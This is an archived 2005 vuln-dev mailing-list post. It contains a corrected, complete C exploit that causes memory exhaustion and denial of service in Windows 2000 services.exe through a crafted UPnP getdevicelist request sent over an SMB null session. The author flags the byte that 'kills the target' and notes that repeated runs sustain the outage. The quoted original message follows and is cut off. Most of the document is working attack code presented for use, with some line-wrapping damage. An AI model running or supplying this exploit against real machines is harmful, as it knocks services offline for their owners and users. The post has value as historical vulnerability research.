

(CORRECTION) memory leak and eventual DOS when calling UPNP getdevicelist on windows 2000 server

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/vuln-dev/2005-11/0008.html>

From: WINNY THOMAS (winnymthomas_at_yahoo.com)

Date: 11/14/05

Date: Sun, 13 Nov 2005 21:24:23 -0800 (PST)

To: vuln-dev@securityfocus.com

Hi,

There is a slight mistake in the code. on line
number 146 you will see
"`\x00\x00\x00\x00`" //This is what kills the target.
`\x00\x00\x00\x00` is safe

Change that line to
"`\x10\x10\x10\x10`" //This is what kills the target.
`\x00\x00\x00\x00` is safe

and then you will see the memory usage shoot up.
Resubmitting the code

/*

* Author: Winny Thomas

* Nevis Labs, Pune, INDIA

*

* Details:

* While working on the exploit for MS05-047 i came
across a condition where

* a specially crafted request to `upnp_getdevicelist`
would cause

* `services.exe` to consume memory to a point where the
target machines virtual

* memory gets exhausted. This exploit is NOT similar
to the MS05-047 exploit i

* published earlier. The earlier one trashed the EIP
of the target causing a

* crash in `services.exe` and eventually brought down
the system to shut down.

* However in this exploit (again a DOS) the virtual
memory is consumed to a

* point where desktop requests (like clicking "My
Computer"), HTTP requests,

(CORRECTION) memory leak and eventual DOS when calling UPNP getdevicelist on windows 2000 server

- * SMB requests etc does not get serviced for sometime. After sometime the
- * memory usage comes down and the target system would work as normal. However
- * this code when continuously executed against a target leads to a sustained
- * DOS attack.
- * Start the task manager on the target system and run this code against the
- * target and watch the virtual memory usage shoot up.
- *
- * I used windbg to break on calls to upnp_getdevicelist when running this code.
- * However even before the break point is hit the system becomes unresponsive.
- * Strangely though changing the operation number in the DCERPC request to
- * something else other than 0xa (upnp_getdevicelist) will make the DOS attempt
- * fail. Perhaps changing the payload a little bit, so that the underlying
- * demarshalling routines dont return an error, might reproduce this effect
- * for other UPNP operations as well.
- *
- * TESTED ON: Windows 2000 server SP0, SP2 and SP3. I have not tested this on
- * any of the above machines with the recent hot fixes for UPNP.
- *
- * Note: This code is for educational/testing purposes by authorized persons on networks systems setup for such purposes
- * The author shall bear no responsibility for any damage caused by using this code.
- */

```
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
```

```
unsigned short ProcessID = 0;
unsigned short TID = 0;
unsigned short UserID = 0;
unsigned short FID = 0;
```

```
char peer0_0[] =
"\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
```

```
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"  
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"  
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"  
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"  
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"  
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"  
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00" ;
```

char peer0_1[] =

```
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"  
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"  
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"  
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"  
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"  
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"  
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"  
"\x2E\x00\x30\x00\x00\x00\x00\x00";
```

char peer0_1_2[] =

```
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"  
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"  
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"  
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"  
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x40"  
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"  
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"  
"\x00\x4F\x00\x44\x00\x00\xED\x41\x2C\x27\x86\x26\xD2\x59\xA0\xB3"  
"\x5E\xAA\x00\x88\x6F\xC5\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"  
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"  
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"  
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"  
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";
```

char peer0_2[] =

```
"\x00\x00\x00\x58\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"  
"\x00\x08\x30\x00\x04\xFF\x00\x5A\x00\x08\x00\x01\x00\x2D\x00\x00";
```

char peer0_3[] =

```
"\x00\x00\x00\x66\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x18\x07\xc8"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe"  
"\x00\x08\x40\x00\x18\xff\x00\xde\xde\x00\x10\x00\x16\x00\x00\x00"  
"\x00\x00\x00\x00\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"  
"\x02\x00\x00\x00\x03\x13\x00\x00\x5c\x00\x62\x00\x72\x00\x6f\x00"  
"\x77\x00\x73\x00\x65\x00\x72\x00\x00\x00";
```

```
char peer0_4[] =
"\x00\x00\x00\x9A\xff\x53\x4D\x42\x25\x00\x00\x00\x08\x01\xC0"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xFE"
"\x00\x08\x01\x00\x10\x00\x00\x48\x00\x00\x00\x48\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x52\x00\x48\x00\x52\x00\x02"
"\x00\x26\x00\x00\x40\x57\x00\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00"
"\x00\x00\x00\x00\x00\x00\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00"
"\x00\x00\x00\x00\x01\x00\x40\x4E\x9F\x8D\x3D\xA0\xCE\x11\x8F\x69"
"\x08\x00\x3E\x30\x05\x1B\x01\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C"
"\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";
```

```
char peer0_5[] =
//NETBIOS Fields
//=====
"\x00" //Message type
"\x00\x00\x80" //Payload length C
//SMB Fields
//=====
//SMB Header
"\xff\x53\x4D\x42\x2F\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x40\x6D\x4E\xf4\x8C\x6E\x13\x7B\x00\x00\x00\x08\xff\xFE"
"\x00\x08\x00\x01"
//Write ANDX Request fields
"\x0E" //Word count
"\xff\x00\xDE\xDE\x00\x40\x00\x00\x00\xff"
"\xff\xff\xff\x08\x00"
"\x40\x00" //Remaining C
"\x00\x00" //Data Length High
"\x40\x00" //Data Length Low C
"\x40\x00" //Data Offset C
"\x00\x00\x00\x00" //High Offset
"\x41\x00" //Byte count C
"\xEE" //Padding
//DCE RPC Request field
//=====
"\x05\x00\x00\x03\x10\x00\x00\x00"
"\x40\x00" //Frag Length
"\x00\x00" //Auth Length
"\x8D\x00\x00\x00" //Call Id
"\x28\x00\x00\x00" //Alloc HINT C
"\x00\x00" //Context Id
"\x0A\x00" //OpNum; 10 in our case for
PNP_GetDeviceList
//DATA for GetDeviceList
"\x00\x00\x00\x00"
"\x10\x10\x10\x10" //This is what kills the target.
\x00\x00\x00\x00 is safe
"\x48\x54\x52\x45\x45\x5C\x52\x4F\x4F\x54\x5C"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";
```

SecurityFocus Vuln-Dev: (CORRECTION) memory leak and eventual DOS when calling UPNP getdevicelist on windows 2000 server

```
void send_packet(int sock, char *payload, int size,
char *type)
{
    int ntrans, ret;

    memcpy(&payload[30], &ProcessID, 2);

    if (UserID)
        memcpy(&payload[32], &UserID, 2);
    if (TID)
        memcpy(&payload[28], &TID, 2);

    if (strcmp(type, "Sending DCE RPC Bind UPNPMGR
request") == 0) {
        memcpy(&payload[67], &FID, 2);
    }
    if (strcmp(type, "UPNPMGR upnp_getdevicelist
request") == 0) {
        memcpy(&payload[41], &FID, 2);
    }

    printf("[*] %s: ", type);
    fflush(stdout);
    ntrans = send(sock, payload, size, 0);
    if (ntrans < 0) {
        printf("\033[0;31mFailed\033[0;39m\n\n");
        exit(-1);
    }
}

void get_response(int sock, char *type)
{
    int ret;
    char response[1496];

    ret = recv(sock, response, 1496, 0);
    if (strcmp(type, "Null Session request 1") != 0) {
        if ((ret < 0 || response[9] != 0)) {
            printf("\033[0;31mError in %s
response\033[0;39m\n\n", type);
            exit(-1);
        }
    }

    if (strcmp(type, "Null Session request 1") == 0) {
        UserID = *(unsigned short *)&response[32];
    }
    if (strcmp(type, "Tree Connect") == 0) {
        TID = *(unsigned short *)&response[28];
    }
    if (strcmp(type, "NT Creat AndX") == 0) {
```

(CORRECTION) memory leak and eventual DOS when calling UPNP getdevicelist on windows 2000 server

```

        FID = *(unsigned short *)&response[42];
    }

    if (strcmp(type, "UPNPMGR upnp_getdevicelist") == 0)
    {
        if((unsigned long)response[88] != 0) {
            printf("\033[0;31mnca_s_fault_ndr\033[0;39m\n\n");
            exit(-1);
        }
    }
    printf("\033[0;32mOK\033[0;39m\n");
}

void banner()
{
    printf("\n\n\033[0;31m\t!-----!\n\033[0;39m");
    printf("\033[0;31m\t Memory leak when sending
upnp_getdevicelist request\n\033[0;39m");
    printf("\033[0;31m\t Coded by: \033[0;34m Winny
Thomas :-)\n\033[0;39m");
    printf("\033[0;34m\t\t NevisLabs\n\033[0;39m");
    printf("\033[0;34m\t\t Nevis Networks, Pune,
INDIA\n\033[0;39m");

    printf("\033[0;31m\t!-----!\n\n\033[0;39m");
}

char *setup_tCon(char *UNC, char *ptr)
{
    int pindex = 0, uindex = 0, len;

    len = strlen(UNC);
    while (uindex < len) {
        if ((pindex % 2) != 0) {
            ptr[pindex] = '\x00';
            pindex++;
            continue;
        }

        ptr[pindex] = UNC[uindex];
        uindex++;
        pindex++;
    }

    ptr[pindex] = '\x00';
    pindex++;
    ptr[pindex] = '\x00';
    pindex++;
    ptr[pindex] = '\x00';
    pindex++;
}

```

```

    ptr[pindex] = 'I'; pindex++; ptr[pindex] = 'P';
    pindex++; ptr[pindex] = 'C'; pindex++;

    ptr[pindex] = '\x00';
    pindex++;
    ptr[pindex] = '\x00';
    pindex++;
}

int main(int argc, char *argv[])
{
    struct sockaddr_in target;
    struct hostent *host;
    char UNC[50], tConXpacket[150], *temp, targetIP[20];
    int sockfd;
    int ret, templen;

    system("clear");
    banner();

    if (argc < 2) {
        printf("Usage: %s <host name|ip address>\n\n",
argv[0]);
        exit(-1);
    }

    srand(time(NULL));
    ProcessID = rand();

    printf("[*] Resolving %s: ", argv[1]);
    host = gethostbyname(argv[1]);
    if (!host) {
        printf("\033[0;31mFailed\033[0;39m\n");
        exit(-1);
    }
    printf("\033[0;32mOK\033[0;39m\n");

    target.sin_family = AF_INET;
    target.sin_addr = *(struct in_addr *)host->h_addr;
    target.sin_port = htons(445);
    sprintf(targetIP, "%s", inet_ntoa(target.sin_addr));

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    ret = connect(sockfd, (struct sockaddr *)&target,
sizeof(target));
    if (ret < 0) {
        perror("Connect");
        exit(-1);
    }
}

```

SecurityFocus Vuln-Dev: (CORRECTION) memory leak and eventual DOS when calling UPNP getdevicelist on windows 2000 server

```
    send_packet(sockfd, peer0_0, sizeof(peer0_0) - 1,
"Sending SMB Negotiate request");
    get_response(sockfd, "SMB Negotiate");

    send_packet(sockfd, peer0_1, sizeof(peer0_1) - 1,
"Sending Null Session request");
    get_response(sockfd, "Null Session request 1");

    send_packet(sockfd, peer0_1_2, sizeof(peer0_1_2) - 1,
"Sending Null Session request");
    get_response(sockfd, "Null Session request 2");

    bzero(tConXpacket, 150);
    temp = tConXpacket;
    memcpy(tConXpacket, peer0_2, sizeof(peer0_2));
    temp += sizeof(peer0_2) - 1;
    sprintf(UNC, "\\\%s\\IPC$", targetIP);
    setup_tCon(UNC, temp);
    templen = (strlen(UNC)*2) + 9;
    tConXpacket[3] = 43 + templen;
    templen -= 2;
    memcpy((unsigned long *)&tConXpacket[45], &templen,
1);

    send_packet(sockfd, tConXpacket, sizeof(peer0_2)
+templen, "Sending Tree Connect request");
    get_response(sockfd, "Tree Connect");

    send_packet(sockfd, peer0_3, sizeof(peer0_3) - 1,
"Sending NT Creat AndX request");
    get_response(sockfd, "NT Creat AndX");

    send_packet(sockfd, peer0_4, sizeof(peer0_4) - 1,
"Sending DCE RPC Bind UPNPMGR request");
    get_response(sockfd, "DCE RPC Bind UPNPMGR");

    send_packet(sockfd, peer0_5, sizeof(peer0_5) - 1,
"UPNPMGR upnp_getdevicelist request");
    get_response(sockfd, "UPNPMGR upnp_getdevicelist");

    close(sockfd);
}
```

Regards,
winny

----- WINNY THOMAS <winnymthomas@yahoo.com> wrote:

```
> /*
> * Author: Winny Thomas
> * Nevis Labs, Pune, INDIA
```

(CORRECTION) memory leak and eventual DOS when calling UPNP getdevicelist on windows 2000 server

- > *
- > * *Details:*
- > * *While working on the exploit for MS05-047 i came*
- > *across a condition where*
- > * *a specially crafted request to upnp_getdevicelist*
- > *would cause*
- > * *services.exe to consume memory to a point where*
- > *the*
- > *target machines virtual*
- > * *memory gets exhausted. This exploit is NOT*
- > *similar*
- > *to the MS05-047 exploit i*
- > * *published earlier. The earlier one trashed the*
- > *EIP*
- > *of the target causing a*
- > * *crash in services.exe and eventually brought down*
- > *the system to shut down.*
- > * *However in this exploit (again a DOS) the virtual*
- > *memory is consumed to a*
- > * *point where desktop requests (like clicking "My*
- > *Computer"), HTTP requests,*
- > * *SMB requests etc does not get serviced for*
- > *sometime. After sometime the*
- > * *memory usage comes down and the target system*
- > *would*
- > *work as normal. However*
- > * *this code when continuously executed against a*
- > *target leads to a sustained*
- > * *DOS attack.*
- > * *Start the task manager on the target system and*
- > *run*
- > *this code against the*
- > * *target and watch the virtual memory usage shoot*
- > *up.*
- > *
- > * *I used windbg to break on calls to*
- > *upnp_getdevicelist when running this code.*
- > * *However even before the break point is hit the*
- > *system becomes unresponsive.*
- > * *Strangely though changing the operation number in*
- > *the DCERPC request to*
- > * *something else other than 0xa*
- > *(upnp_getdevicelist)*
- > *will make the DOS attempt*
- > * *fail. Perhaps changing the payload a little bit,*
- > *so*
- > *that the underlying*
- > * *demarshalling routines dont return an error,*
- > *might*
- > *reproduce this effect*
- > * *for other UPNP operations as well.*

```
> *
> * TESTED ON: Windows 2000 server SP0, SP2 and SP3.
> I
> have not tested this on
> * any of the above machines with the recent hot
> fixes
> for UPNP.
> *
> * Note: This code is for educational/testing
> purposes
> by authorized persons on networks systems setup for
> such purposes
> * The author shall bear no responsibility for any
> damage caused by using this code.
> */
>
> #include <stdio.h>
> #include <sys/socket.h>
> #include <netinet/in.h>
> #include <arpa/inet.h>
> #include <netdb.h>
>
> unsigned short ProcessID = 0;
> unsigned short TID = 0;
> unsigned short UserID = 0;
> unsigned short FID = 0;
>
> char peer0_0[] =
>
"\x00\x00\x00\x85\xff\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
>
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xFE"
>
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
>
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
>
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
>
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
>
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
>
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
> "\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";
>
> char peer0_1[] =
>
"\x00\x00\x00\xA4\xff\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
>
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xFE"
```

```
>
"\x00\x00\x10\x00\x0C\xff\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
>
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
>
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
>
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
>
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
>
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
>
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
>
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
> "\x2E\x00\x30\x00\x00\x00\x00\x00";
>
> char peer0_1_2[] =
>
"\x00\x00\x00\xDA\xff\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
>
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xFE"
>
"\x00\x08\x20\x00\x0C\xff\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
>
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
>
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
>
"\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x40"
>
"\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
>
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
>
"\x00\x4F\x00\x44\x00\x00\xED\x41\x2C\x27\x86\x26\xD2\x59\xA0\xB3"
>
"\x5E\xAA\x00\x88\x6F\xC5\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
>
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x20\x00"
>
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
>
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
>
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";
>
> char peer0_2[] =
>
"\x00\x00\x00\x58\xff\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
```



```

>
"\x00\x00\x40\x6D\x4E\xf4\x8c\x6E\x13\x7B\x00\x00\x00\x08\xff\xfe"
> "\x00\x08\x00\x01"
> //Write ANDX Request fields
> "\x0E" //Word count
> "\xff\x00\xde\xde\x00\x40\x00\x00\x00\xff"
> "\xff\xff\xff\x08\x00"
> "\x40\x00" //Remaining C
> "\x00\x00" //Data Length High
> "\x40\x00" //Data Length Low C
> "\x40\x00" //Data Offset C
> "\x00\x00\x00\x00" //High Offset
> "\x41\x00" //Byte count C
> "\xee" //Padding
> //DCE RPC Request field
> //=====
> "\x05\x00\x00\x03\x10\x00\x00\x00"
> "\x40\x00" //Frag Length
> "\x00\x00" //Auth Length
> "\x8d\x00\x00\x00" //Call Id
> "\x28\x00\x00\x00" //Alloc HINT C
> "\x00\x00" //Context Id
> "\x0a\x00" //OpNum; 10 in our case for
> PNP_GetDeviceList
> //DATA for GetDeviceList
> "\x00\x00\x00\x00"
> "\x00\x00\x00\x00" //This is what kills the target.
> \x00\x00\x00\x00 is safe
> "\x48\x54\x52\x45\x45\x5c\x52\x4f\x4f\x54\x5c"
>
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
> "\x00\x00\x00\x00\x00\x00";
>
> void send_packet(int sock, char *payload, int size,
> char *type)
> {
> int ntrans, ret;
>
> memcpy(&payload[30], &ProcessID, 2);
>
> if (UserID)
> memcpy(&payload[32], &UserID, 2);
> if (TID)
> memcpy(&payload[28], &TID, 2);
>
> if (strcmp(type, "Sending DCE RPC Bind UPNPMGR
> request") == 0) {
>
=== message truncated ===

```

Yahoo! Mail – PC Magazine Editors' Choice 2005
<http://mail.yahoo.com>